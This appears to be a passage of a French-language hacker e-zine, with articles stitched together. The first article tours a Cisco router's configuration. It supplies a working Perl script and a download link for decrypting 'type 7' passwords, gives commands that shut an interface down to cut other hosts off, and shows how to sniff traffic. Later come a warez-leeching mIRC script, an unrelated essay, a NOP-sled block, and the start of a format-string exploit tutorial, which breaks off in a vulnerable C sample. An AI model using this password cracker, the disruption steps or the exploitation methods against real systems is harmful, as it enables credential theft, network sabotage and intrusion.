POS4/0 is administratively down, line protocol is down /même chose que l'autre Hardware is Packet over SONET Internet address is 2.2.2.2/30 // OC192, même MTU que le OC48, mais un ti peu plus de bandwidth // (en facteur multiplicateur bien sur haha ;-) avec 9,952 gigabits/sec! MTU 4470 bytes, BW 9 952 000 Kbit, DLY 100 usec, rely 255/255, load 1/255 Encapsulation PPP, crc 32, loopback not set Keepalive set (10 sec) Scramble enabled LCP Closed Closed: IPCP, CDPCP Listen: TAGCP Last input 1d00h, output 1d00h, output hang never Last clearing of "show interface" counters never Queueing strategy: fifo Output queue 0/40, 0 drops; input queue 0/75, 0 drops 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 1415 packets input, 22540 bytes, 0 no buffer Received 0 broadcasts, 6 runts, 2 giants, 0 throttles 0 parity 223 input errors, 215 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort 4602 packets output, 189336 bytes, 0 underruns 0 output errors, 0 applique, 6 interface resets 0 output buffer failures, 0 output buffers swapped out 5 carrier transitions Loopback0 is up, line protocol is up Hardware is Loopback Description: Used for loopback, this is fun. Internet address is 199.199.199.120/32 MTU 1514 bytes, BW 8000000 Kbit, DLY 5000 usec, rely 255/255, load 1/255 Encapsulation LOOPBACK, loopback not set Last input never, output never, output hang never Last clearing of "show interface" counters never Queueing strategy: fifo Output queue 0/0, 0 drops; input queue 0/75, 0 drops 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 0 packets input, 0 bytes, 0 no buffer Received 0 broadcasts, 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort 0 packets output, 0 bytes, 0 underruns 0 output errors, 0 collisions, 0 interface resets 0 output buffer failures, 0 output buffers swapped out Ethernet1 is up, line protocol is up // oui, c'est une plug ben normale... Hardware is 10/100 Ethernet, address is 0003.f00d.c3ff (bia 0003.f00d.c3ff) Description: interface for management // voila pkoi elle est normal, c'est // par cette interface qu'on se branche en telnet pour administrer la machine. Internet address is 10.10.12.44/16 MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec, rely 255/255, load 1/255 Encapsulation ARPA, loopback not set Keepalive set (10 sec) ARP type: ARPA, ARP Timeout 04:00:00 Last input 00:00:00, output 00:00:02, output hang never Last clearing of "show interface" counters never Queueing strategy: fifo Output queue 0/40, 0 drops; input queue 0/75, 1359 drops 5 minute input rate 2000 bits/sec, 3 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec 697969 packets input, 70764617 bytes, 0 no buffer Received 680547 broadcasts, 0 runts, 0 giants, 0 throttles 0 input errors, 4323 CRC, 0 frame, 536 overrun, 0 ignored 0 input packets with dribble condition detected 16532 packets output, 1680846 bytes, 0 underruns 2 output errors, 6 collisions, 2 interface resets 0 babbles, 2 late collision, 31 deferred 4 lost carrier, 0 no carrier 0 output buffer failures, 0 output buffers swapped out Bon, évidemment j'en ai enlevé un peu, il avait d'autres Gigabit et des POS! Elle est bourrée cette Jessica :-) Il est aussi à noter que le router était dans un environnement de test, donc il n'était pas vraiment sur Internet.. ce qui explique les IPs de LAN 192.*, mais il y a rien qui change entre un LAN ou Internet... à part les IPs. De plus vous avez vu de la speed en bits, et du transfert en bytes, c'est fucké j'avoue. En théorie on serait supposé toujours utiliser des bits, mais les bytes sont ce que vous comprennez.. donc pour arranger la polémique du OC192, si on prend le 9,952 gigabits/sec et qu'on le met en gigabytes/sec, ça donne 1,244. Et oui, 1,244 gig/sec comme on dirait par chez nous sur Internet.. heh. Aussi, une autre commande pour les voyeurs pourrait être très intéressante : JessicaAlba# show run Building configuration... Current configuration : 3017 bytes ! ! Last configuration change at 01:15:25 EST Fri Nov 23 2002 ! version 12.0 no service pad service timestamps debug datetime localtime service timestamps log datetime localtime service password-encryption ! hostname JessicaAlba ! boot system flash gsr-p-mz.120-18.ST.bin logging rate-limit console 10 except errors enable secret 5 $1$EvGk$ilJKqn3ajrEDfCKFU7x5C0 enable password 7 110A1016141D // ça j'en parle plus bas ! clock timezone EST -5 clock summer-time EST recurring ! ! interface Loopback0 description Used for loopback, this is fun. ip address 200.200.200.6 255.255.255.255 ! interface FastEthernet0/0 no ip address speed 100 full-duplex ! interface FastEthernet0/0.130 // La il faut que j'explique le .130. En faite // cette interface n'existe pas vraiment, c'est une interface virtuelle. // 0/0 existe, et est la FastEthernet à la slot 0 dans le rack 0, mais le // .130 à été déterminé dans la configuration. Ça sert seulement pour les // interfaces Ehternet, à cause que ce sont les seules à supporter les vlans // (PPP ya pas de vlan dans ça, c'est pluggé direct). encapsulation dot1Q 130 // Voici donc le dot1Q (aka le VLAN) associé. // Vous comprenez donc que le .130 à juste été mis la pour se retrouver dans // les VLANS.. je sais pas par coeur le max qu'on peut mettre sur les Ciscos, // mais c'est beaucoup (>100 au moins). ip address 113.100.1.6 255.255.255.0 ! interface FastEthernet0/0.133 encapsulation dot1Q 133 ip address 113.100.4.6 255.255.255.0 ip ospf cost 100 // Config de protocole ! interface FastEthernet0/1 description interface for management ip address 10.10.12.41 255.255.0.0 speed 100 full-duplex ! ip classless ip route 10.0.0.0 255.0.0.0 10.10.0.1 // Ça c'est des routes statiques de settées ip route 100.100.0.0 255.255.255.0 Null0 ip route 100.100.1.0 255.255.255.0 Null0 ip route 100.100.2.0 255.255.255.0 Null0 no ip http server // Me semble que ça cé pour la configuration HTTP du routeur.. ! ! ! ! // SNMP : Simple Network Management Protocol (ça s'explique tout seul heh) snmp-server community public RO snmp-server community private RW snmp-server manager ! dial-peer cor custom ! ! ! ! ! // ça cé juste des config pour les terminaux de configurations.. line con 0 line aux 0 line vty 0 4 exec-timeout 0 0 password 7 02050D480809 login line vty 5 10 exec-timeout 0 0 password 7 02050D480809 login line vty 11 15 exec-timeout 0 0 login ! // NTP: Network Time Protocol (me semble) ntp clock-period 17180497 ntp server 10.10.12.37 ! end Avec ça on voit tout ce qui a été setté sur le router/la switch.. Intéressent... Mais bon, c'est bien le fun faire le voyeur comme ça, faudrait être capable de regarder des choses plus précises, et surtout faire de la marde! heu je veux dire configurer des choses qui pourrait nous être utile... ;-) Bon la jsuis sure que même si vous avez aucune idée de quoi faire avec un router, vous avez quand même rester figé sur : enable secret 5 $1$EvGk$ilJKqn3ajrEDfCKFU7x5C0 enable password 7 110A1016141D C'est évidant! Bon, à ce que j'ai pu comprendre le "secret" c'est le premier password demandé, pis le "password" c'est celui qui est demandé après "enable".. c'est bizzare car sur le routeur que j'ai entre les mains présentement le secret et le password sont les mêmes... pourtant l'explication est simple : l'algorithme utilisé est pas la même. Selon cisco le password c'est un algorithme fifi, et on peut trouver un crack sur internet. [.. 20 secondes plus tard ..] #!/usr/bin/perl -w # # Credits for orginal code and description hobbit@avian.org, # SPHiXe, .mudge et al. and for John Bashinski # for Cisco IOS password encryption facts. # # Use for any malice or illegal purposes strictly prohibited! # @xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 ); while (<>) { if (/(password|md5)\s+7\s+([\da-f]+)/io) { if (!(length($2) & 1)) { $ep = $2; $dp = ""; ($s, $e) = ($2 =~ /^(..)(.+)/o); for ($i = 0; $i < length($e); $i+=2) { $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++]; } s/7\s+$ep/$dp/; } } print; } hum, j'aime pas la manière qu'on s'en sert.. j'vas modifier ça un peu.. [.. 20 secondes plus tard! haha joke ça ma prit un bon 10min ak le debugage ..] -------------------- >8 cut here -------------------- #!/usr/bin/perl -w # chisco.pl : décrypte les password "type 7" de Cisco IOS. # Refaite vite vite par LastCall_ pour Mindkind 11 # Credits for orginal code and description hobbit@avian.org, # SPHiXe, .mudge et al. and for John Bashinski # for Cisco IOS password encryption facts. # @xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 ); die 'ça marche de même : "perl chisco.pl password"' if (not defined $ARGV[0]); my $unf = $ARGV[0]; print "Pass crypter-poche : $unf\nPass décrypté par 11/2 nain unijambiste: "; if (!(length($ARGV[0]) & 1)) { $ep = $ARGV[0]; $dp = ""; ($s, $e) = ($ARGV[0] =~ /^(..)(.+)/o); for ($i = 0; $i < length($e); $i+=2) { $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++]; } $unf =~ s/$ep/$dp/; } print "$unf \n\n"; -------------------- cut here 8< -------------------- C'est plus cute la? heh Pis tant qua faire si vous êtes vedge en plus d'avoir windows : http://bdsltd.co.uk/network/cisco/GetPass.exe On peut pas dire que je vous ai jamais rien donné crue dans bouche :-P Bon, alors vous pouvez vous amuser à comprendre l'algorithme si vous voulez, mais d'un seul coup d'oeil de même (j'ai quand même gossé un gros 10 MINUTES sur le code lala) ça ma dlair d'une clef de substitution utilisée intelligemment, mais la clef est facilement trouvable quand on a un password et son résultat crypté donc cé de la vrai bouette. Pour l'autre, le secret, vous l'avez sûrement reconnu, c'est du bon vieux MD5. Pour en faire un résumé, le "secret" c le pass pour se connecter sur le router, pis le "password" cé le pass après enable. Il est a noter qu'on peut avoir des users aussi (genre on fait "login" après la première étape d'authentification), et qu'ils sont encryptés avec le fameux type 7 (de password..). Selon cisco, on devrait considérer ces passwords comme du plain text. hehehe Pour un maudit bon paquet de détails sur les dernières choses, allez voir http://www.cisco.com/warp/public/701/64.html c'est intéressent. D'ailleurs tout le site de cisco est très intéressent http://www.cisco.com/univercd/cc/td/doc/product/iaabu/idpg/intro.htm IDS! Et si vous voulez faire un overflow : http://www.cisco.com/warp/public/707/ Seul problème c'est que les chances que vous touchiez a un firewall Cisco une fois dans vie sont pratiquement nulles, à moins que votre objectif de carrière soit : gars de chez Cisco qui configure des routeurs à 200$ de l'heure. heh bon passons a autre chose... interface FastEthernet0/1 description interface for management ip address 10.10.12.41 255.255.0.0 speed 100 full-duplex ! interface for management.. interface comme management.. comment je fais pour me plugger la dessus putain... ...si je nslookup JessicaAlba, ça me donne : Name: JessicaAlba Address: 10.10.12.41 J'vas prendre un 10 secondes de break pour ceux qui ont pas compris encore... Et ben oui! jme suis connecté sur jessicaalba en telnet pour pouvoir taper toute ces commandes! donc l'interface que vous voyez la, c'est l'interface utilisée pour telnetter la machine! Donc si vous la disabler, vous êtes dans marde... par contre, kc qu'on peut faire si on veut mettre tlm dans marde sauf nous? (Remarquez c'est pas une bonne chose, si vous voulez pas alerter personne) interface FastEthernet0/0.130 encapsulation dot1Q 130 ip address 113.100.1.6 255.255.255.0 ! Cette interface la s'occupe du vlan qui est linké avec 113.100.1.6 avec un network de 255.255.255.0 ya fort à parier que de 113.100.1.1 à 113.100.1.254 ya des affaires de pluggés dessus... que vous pouvez faire planter avec le reste du monde... interface FastEthernet0/0.133 encapsulation dot1Q 133 ip address 113.100.4.6 255.255.255.0 ip ospf cost 100 ! Si j'fais un "show ip route", je vois JessicaAlba #show ip route Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area * - candidate default, U - per-user static route, o - ODR P - periodic downloaded static route Gateway of last resort is not set C 113.100.4.0 is directly connected, FastEthernet0/0.133 C 113.100.1.0 is directly connected, FastEthernet0/0.130 Bon, donc si je trouve une machine dans le network 113.100.4.0 et que oh le grand hasard c'est un autre routeur, je check sa routing table pis je vois : S 113.100.1.0 [1/0] via 113.100.4.6 Bingo, je peux le rendre aveugle sur les choses qu'il voit sur le 113.100.1.0 si je lui barre le 113.100.4.6... Vu comme ça, c'est assez simple à comprendre, le router sait par ou passer.. si mettons ce sont des machines ben vous pouvez toujours utiliser la méthode suivante au lieu de faire ip route : Sending 5, 100-byte ICMP Echos to 113.100.4.6, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/4 ms Le ping c'est rendu! C'est un peu normal car le ip de ma machine c'est 113.100.4.88 dans 255.255.255.0.. donc le même network. maintenant pignons 113.100.1.6 qui est PAS dans le même network.. Sending 5, 100-byte ICMP Echos to 113.100.1.6, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/4 ms Ça marche! Donc ça veut dire qui cette machine là possède la route pour se rendre l'autre bord.. vous avez donc juste à figurer par vous-même que c'est le router que vous avez qui fait la job.. (c'est pas toujours vrai, il peut avoir d'autres routers ailleurs, finalement une autre route que celle qui passe par notre router... pour se rendre a la même place.) M'enfin, trêve de plaisanteries, on veut que l'autre machine puisse pu voir le reste. Quoi faire? On a 2 choix, dans le cas présent on peut scrapper le vlan (vu que c'est le router qui décide dans quel vlan yé (avec dot1q), mais je crois qu'on devrais opter pour la grosse méthode méchante : DISABLER LINTERFACE!. Autrement dit, c'est tourner la switch on a off, pour cet interface la. donc on rentre en mode de configuration : JessicaAlba#conf t Enter configuration commands, one per line. End with CNTL/Z. JessicaAlba(config)# JessicaAlba(config)#interface FastEthernet0/0.133 JessicaAlba(config-subif)#shutdown JessicaAlba(config-subif)#exit JessicaAlba(config)#exit JessicaAlba# C'est tout.. Si on retourne sur notre machine cible, et qu'on ping soit l'autre interface dans le même network (celle qu'on vienne de shutdowner) ou ben l'autre interface qui était router : Sending 5, 100-byte ICMP Echos to 113.100.1.6, timeout is 2 seconds: ..... Success rate is 0 percent (0/5) et ben sa fouarre! c le fun maintenant pour le réenabler c'est : conf t int fa 0/0.133 no shut exit exit facile! Sending 5, 100-byte ICMP Echos to 113.100.1.6, timeout is 2 seconds: .!!!! Success rate is 80 percent (4/5), round-trip min/avg/max = 1/2/4 ms HUM Faut spécifier que ça prend quand même un ti peu de temps a un router pour remettre son interface à "ON"... ;-) Bon.. j'ai pensé longuement (2 gorgées de bières, ~6 chips) a qu'est-ce qu'on pourrait faire d'autre.. Ya juste 2 choses qui me viennent en tête, faire une route ip, et sniffer. route ip in a nutshell : on rentre dans le mode "configure terminal" (conf t) ip route destination destinationmask ? JessicaAlba(config)#ip route 1.1.1.0 255.255.255.0 ? A.B.C.D Forwarding router's address Async Async interface BVI Bridge-Group Virtual Interface CTunnel CTunnel interface Dialer Dialer interface FastEthernet FastEthernet IEEE 802.3 Lex Lex interface Loopback Loopback interface Multilink Multilink-group interface Null Null interface Tunnel Tunnel interface Vif PGM Multicast Host interface Virtual-FrameRelay Virtual Frame Relay interface Virtual-Template Virtual Template interface Virtual-TokenRing Virtual TokenRing ici on voit le help pour la suite.. en gros pour que notre router sache qui faut qu'il envoie au router 2.2.2.2 les packets destinés au network 1.1.1.0 on marque : ip route 1.1.1.0 255.255.255.0 2.2.2.2 et c'est tout.. on peut aussi spécifier une interface, ou carrément discarter : ip route 1.1.1.0 255.255.255.0 fastEthernet 0/0.133 ip route 1.1.1.0 255.255.255.0 null 0 Bon, maintenant.. sniffons. N'oublier pas que ctun router, pis que sniffer sur un router c'est facile : JessicaAlba#terminal monitor JessicaAlba#debug ip packet IP packet debugging is on IP: s=10.10.179.255 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 229, rcvd 3 IP: s=10.10.108.155 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 247, rcvd 3 IP: s=10.10.180.250 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 240, rcvd 3 ouhh c cute JessicaAlba#debug ip packet detail IP packet debugging is on (detailed) JessicaAlba# IP: s=10.10.194.222 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 263, rcvd 3 UDP src=138, dst=138 IP: s=10.10.125.124 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 239, rcvd 3 UDP src=138, dst=138 Mais disont que je m'en fou du FastEthernet0/1.. JessicaAlba#debug interface fastEthernet 0/0.133 Condition 1 set Donc là, quand je vais faire debug ip packet detail, je vais avoir juste ce qui passe par 0/0.133 (plus les loopbacks ça dlair). Donc, si je ping de ma machine tantôt qui est à coté de mon router ça me donne : IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 100, rcvd 4 ICMP type=8, code=0 IP: s=113.100.1.6 (local), d=113.100.4.88, len 100, cef process switched ICMP type=0, code=0 IP: s=113.100.1.6 (local), d=113.100.4.88 (FastEthernet0/0.133), len 100, sending ICMP type=0, code=0 pour un ti ping Si je telnet Jessica de mon autre machine ça me donne : IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 44, rcvd 4 TCP src=58434, dst=23, seq=273281393, ack=0, win=4128 SYN IP: s=113.100.1.6 (local), d=113.100.4.88, len 44, cef process switched TCP src=23, dst=58434, seq=1702304235, ack=273281394, win=4128 ACK SYN IP: s=113.100.1.6 (local), d=113.100.4.88 (FastEthernet0/0.133), len 44, sending TCP src=23, dst=58434, seq=1702304235, ack=273281394, win=4128 ACK SYN IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 40, rcvd 4 TCP src=58434, dst=23, seq=273281394, ack=1702304236, win=4128 ACK IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 58, rcvd 4 TCP src=58434, dst=23, seq=273281394, ack=1702304236, win=4128 ACK PSH IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 40, rcvd 4 TCP src=58434, dst=23, seq=273281412, ack=1702304236, win=4128 ACK IP: s=113.100.1.6 (local), d=113.100.4.88, len 52, cef process switched and so on.. Je pourrais regarder ça avec vous, mais me semble que c'est simple? pour le ping, y'envoie un ICMP type 0 code 0, pis nous on le process pis on lui renvoie la réponse même chose pour la connexion TCP, y nous envoie un SYN, on process, on lui envoie un ACK... facile! (Vous avez rien comprit de TCP/SYN/ICMP? allez lire mon autre article, Internet++ dans Mindkind10.. hehe) JessicaAlba#no debug ip packet detail IP packet debugging is off (detailed) Voila maintenant on se fait pu achaler par le debug! C'est plutôt pratique comme commande, mais c'est crissement pas conseillé sur une interface utilisée grandement : printer le packet génère plus de jus à envoyer au telnet que le packet lui même. Alors à moins d'avoir des conditions de filterings de l'enfer.. faite pas un debug ip packet detail sur une interface qui roule à 1gig/sec.. hehe j'ai jamais essayé de le faire, donc jpeux pas vous dire si Cisco a mit une protection.. mais ça m'étonnerait :-) Bon ben, c'est tout le temps que j'ai à mettre sur ces belles machines la.. Si vous voulez taponner sur une machine, le moyen le plus facile c'est dans les écoles qui donnent les cours de Cisco, ils ont des chances d'avoir des 2600 et des switchs. Par contre pour le GSR, ya que les backbones sur Internet qui ont ça, ou les compagnies qui ont des mautadis gros network locaux... JessicaAlba# exit au revoir Jessica ;-) - LastCall_ ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / lastcall@mindkind.org / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----' Tanné de taguer vos xdcc a main ? Tanné des quotas de Vidéotron ? Et bien le script mIRC suivant va au moins régler un de vos 2 problèmes. Effectivement, vous allez maintenant pouvoir downloader à partir d'un xdcc en un seul double click (désoler pour les naïfs qui croyaient pouvoir dire adieu à leurs quota). ------------------------------- 8< cut here 8< ------------------------------- ------- remote --------- on *:TEXT:*:#: { if ($chr(35) isin $1) { if (%wleech) { aline @warez-divx $nick $1 $4- } } } menu @warez-divx { dclick: %wleechtxt = $sline(@warez-divx,1) | wleech %wleechtxt } ------- popups --------- n1=-=Leech=- n2=.warez/divx n3=..$iif(!%wleech,activate):%wleech = on | window -lR @warez-divx n4=..$iif(%wleech,desactivate):unset %wleech n5=..- ------------------------------- >8 cut here >8 ------------------------------- __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.07 Le petit guide de l'introspection \ \ ! . d'une assemblée d'illusions \ \ . ; aka Le mirroir de l'évolution \ \ : : \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ Après la roue, la vie paisible s'était établie dans les terres de ce monde sans frontière. L'expansion ne s'arrêtait pas ni même la progression technologique. La roue, puis la charrette, puis l'invention des chevaux ! Peut importe l'ordre chronologique des inventions, une chose est sûre, l'homme se croit maître de ce que ses sens perçoivent. S'il était capable de toucher à sa femme, et bien elle était sienne. S'il pouvait tuer son ennemi, alors son âme devenait sienne. Ce qu'il ne pouvait pas toucher appartenait au domaine du mystérieux. L'humain vénérait la Lune, le Soleil, l'horizon. Son empire a grandit avec les décennies. Il a maîtrisé l'eau avec ses galères plus dangereuses les unes que les autres pour aller s'établir en Inde. La démographie a augmentée, l'économie de même. Son estime et sa grandeur ont enflés pour le mettre au haut de l'échelle alimentaire. Il est le meurtrier, il est le dominant. Puis est venu l'époque des fusils. Fini les batailles d'armures, l'intelligence accrue a apporté les guerres de tranchées. Guerre Mondiale 1 et Guerre Mondiale 2. L'ère atomique n'étant plus à la mode, nous sommes rendus avec de nouvelles armes. Les McDonalds et ses dérivés prennent d'assaut les territoires occupés sans que personne ne riposte. Nous en sommes là. Environ 2000 ans se sont écoulées depuis la date inscrite sur la Bible. Nous sommes si intelligents. Chaque enfant a sa télévision, son gameboy couleur, son ordinateur familial et sa connexion haute-vitesse. Que demander de plus à l'évolution ? La roue a fait suffisamment de chemin. Nous sommes vraiment intelligents. Chaque matin, tout le monde se lève pour assurer la prospérité des générations à venir. Plus la cravate est longue, plus la réussite est grande. La vie roule à son plein et tout va trop vite selon certains. Un problème se pose. Les dépressions sont en nombre grandissant. La marge des différentes classes économiques augmente affreusement. Le taux de cholestérol devient énorme. Ces problèmes ne sont plus des problèmes, car nous sommes des humains intelligents et responsables. Nous avons trouvés une solution qui est : "Engageons des scientifiques et des chercheurs pour trouver les réponses". Ne voyez-vous pas toute l'idiotie de cette si brillante idée ? Comment faire grandir une population si cette population ne fait que consommer et surconsommer ? Ne voyez-vous pas la grosse vieille illettrée assise sur sa chaise à regarder ses romans savons à longueur de journée ? Ne voyez-vous pas l'alcoolique qui travaille dans son usine de bacon à attendre innocemment la fin de son quart ? Et ne voyez-vous pas tous ces enfants drogués qui ont foi en la facilité des choses, toujours prêt à aller fêter en demandant un peu de sous à leurs parents. Nous sommes une société d'irrationalité. Donner le savoir à la minorité pour que les autres baignent dans l'ignorance et la précarité n'apportera pas grand chose à la soi-disante évolution humaine. Nous en sommes donc ici à se demander le réel bienfait de ces recherches incessantes. Les médecins tentent de faire vivre le plus longtemps les humains, mais ces humains auraient-ils tout simplement peur de mourrir ? L'humain a peur, terriblement peur du mystérieux. C'est pourquoi il essaie de tout maîtriser. Autrefois, il ne comprenait pas la Lune, maintenant il essaie de voir plus loin que la vie. L'humain se croit maître de ce que ses sens perçoivent, mais il ne se rend pas compte que c'est tout à fait l'inverse. Ce que ses sens perçoivent deviennent maître de lui-même. L'humain s'enchaîne à ce monde matériel parce qu'il a peur. Il s'acharne a essayer de vivre l'amour parce qu'il désire s'attacher à la vie. L'évolution est donc remise en question. Après avoir dépassé la limite de la survie, l'humain n'a cessé de contrôler son monde mais sans s'arrêter pour se demander si c'était nécessaire. Donc, est-ce réellement nécessaire d'avoir 700 canaux de télévisions ? Est-ce réellement nécessaire de se faire greffer un nouveau foie lorsque le vieux sera épuisé ? Est-ce vraiment nécessaire de vivre ? Vous fuyez la mort. Dans ce monde d'illusions, l'humain s'attache désespérément à ce qu'il croit dominer. Comme dirait le bon proverbe des personnes sans grandeur : "C'est effrayant qu'en l'an 2000 ça se produise encore !", et ce avec toute l'ironie que cela apporte. Si rusé et sournois qu'est cet humain qu'il ne voit même pas son comportement. Ce texte ne changera rien parce que l'humain est doué dans la stupidité. Parmis toute forme de vie existante, l'humain est décidément la moins évoluée... Sincèrement, nothing94 web : http://nothing94.250x.com ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / dieforyoursins@hotmail.com / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----' \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 Null si decouvert. __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.08 Format string attack \ \ ! . aka \ \ . ; Un trio fmt svp \ \ : : \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ --[ Introduction : Dans un monde où le domaine de la sécurité informatique est en constante évolution et où les progrès se font rapidement, la guerre de l'information se déroulant entre ceux qui cherchent à pousser le hacking et ceux qui cherchent à l'éliminer est féroce. Les techniques afin d'escalader les niveaux de privilège ont aussi changé. Rappelons-nous les stack overflows simple d'antan, où il ne suffisait que d'écraser notre pointeur d'instruction [1]. Regardons maintenant les techniques d'aujourd'hui, par exemple dans l'exploit de MaXX, qui consiste à saisir le contrôle du programme avec l'aide d'un off-by-one heap overflow. [2] Dans cet article, il sera question de techniques pour faciliter l'exploitation d'une erreur de formatage. En effet, lorsque nous prenons une attaque par format string, plusieurs portes s'offrent à nous afin de pouvoir prendre le contrôle du programme. Il est possible de faciliter le processus de plusieurs façons qui nous aidera à atteindre l'objectif désiré, comme par exemple de directement écrire notre shellcode en mémoire ;) --[ Un petit rappel : Même si les erreurs de formatage se font de plus en plus rares de nos jours, et qu'elles sont facilement détectables avec des outils d'automatisation de détection de failles, il reste que c'est une faille de sécurité qui reste intéressante à exploiter. Afin de pouvoir contourner le programme vulnérable à l'erreur de formatage, nous devons définir les différents points de la tâche afin de parvenir à notre objectif. - Identifier la faille - Trouver la distance et le padding pour avoir le contrôle de notre format string - Trouver quel endroit en mémoire écraser (retloc) - Trouver la valeur que nous allons écraser retloc avec (retadr) - Bâtir notre buffer et puis l'injecter. Avec une telle attaque, il est brièvement possible d'écrire ce que nous voulons en mémoire, ce qui conséquemment nous laisse un grand choix pour saisir le contrôle du programme. Il existe plusieurs façon de prendre le contrôle d'un programme lorsque nous avons un certain contrôle sur ce qui se passe en mémoire, que ce soit [3]: - en écrasant des entrées dans la Global Offset Table (GOT) afin d'hijacker une fonction, - en ajoutant une entrée dans la table de destructeurs (.dtors), - en falsifiant le contenu d'un boundary tag lors d'une allocation dynamique (malloc), - ou bien tout simplement en écrasant EIP/EBP dans un stack frame lors d'un stack overflow. --[ Le problème : Lorsque nous essayons d'exploiter et de prendre le contrôle d'un tel programme au moyen d'une attaque, le succès de l'exploitation dépend de plusieurs paramètres dynamiques (distance, padding, retloc, retadr). Dans le pire des environnements, il peut être très difficile d'obtenir ces paramètres. Il est toujours possible de bruteforcer plusieurs de ces valeurs, mais plus le nombre d'offsets à trouver augmente, plus le bruteforce va être long et pénible. Donc lorsqu'il est possible de diminuer ces valeurs inconnues, nous possédons plus de chances pour que notre exploit fonctionne. --[ Les détails : Nous avons décrit plus haut qu'il était possible d'écrire ce que nous voulons en mémoire. Nous savons aussi que lorsque nous exploitons une erreur de formatage, les deux valeurs les plus importantes à trouver sont quelle adresse nous voulons modifier, et avec quelle valeur nous voulons modifier celle-ci. Ce qui est intéressant à noter, c'est que les erreurs de formatage ne nous permettent pas seulement d'écrire 4 bytes en mémoire. En effet, il est possible d'écrire une chaîne de texte de n'importe quelle longueur, en autant que notre buffer est assez grand pour contenir notre format string maléfique. --[ Un strcpy improvisé Je vous présente ici une fonction qui nous permettra de générer un format string qui va écrire à un certain endroit en mémoire une chaîne de caractères de notre choix. Vous allez sûrement rapidement comprendre l'utilité d'une telle fonction ;) void write_string_fmt (char *buffer, int dist, int align, int retloc, char *what, int mode) - buffer : Le buffer qui contiendra la format string - int dist : La distance jusqu'au début du buffer que nous contrôlons - int align : Une valeur de 0 à 3 définissant l'alignement sur 4 bytes - int retloc : L'endroit que où nous voulons écrire la string - char *what : La string que nous voulons placer à retloc - int mode : 1 pour le mode d'alignement, et 2 pour écrire en mémoire. (le mode d'alignement nous permet de trouver exactement la distance et l'alignement pour atteindre notre buffer, tandis qu'avec 2 nous voulons écrire en mémoire; voir code) Prenons un simple exemple de code vulnérable. : --[ test.c /* coded by g463 */ #include #include int main (int argc, char *argv[]) { char *string = (char *) malloc 